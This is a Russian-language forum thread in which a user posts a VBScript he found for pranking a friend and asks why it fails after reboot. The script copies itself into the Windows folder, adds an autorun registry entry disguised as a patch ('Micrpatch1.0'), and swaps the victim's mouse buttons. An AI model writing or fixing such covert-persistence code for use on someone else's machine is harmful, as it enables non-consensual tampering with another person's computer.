VBScript

Тема в разделе "Другие", создана пользователем mutabor, 8 ноя 2004.

Статус темы:
Закрыта.
  1. mutabor

    mutabor Гость

    Помогите пожалуйста. Вот решил пошутить над другом и нашел такой скрипт. Проблема в том, что он срабатывает только один раз, а при последующей загрузке машины он не срабатывает. Хотя в реестр прописывается. Вот код:

    Код (Text):
    Set FSA=CreateObject("Scripting.FileSystemObject")
    FSA.CreateFolder("C:\Windows\ff")
    Set file1=FSA.GetFile(WScript.ScriptFullName)
    file1.Copy("C:\Windows\ff\mouse.vbs")
    Код (Text):
    Set WSHShell=WScript.CreateObject("WScript.Shell")
    WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Micrpatch1.0","C:\Windows\mouse.vbs", "REG_SZ"
    sub zp(y,x)
    set wshshell=wscript.createobject("wscript.shell")
    x=wshshell.run(y,x)
    end sub
    call zp("rundll32 user,swapmousebutton",true)
    Спасибо.
     
Загрузка...
Похожие Темы - VBScript
  1. mokritskayana
    Ответов:
    0
    Просмотров:
    1.551
Статус темы:
Закрыта.

Поделиться этой страницей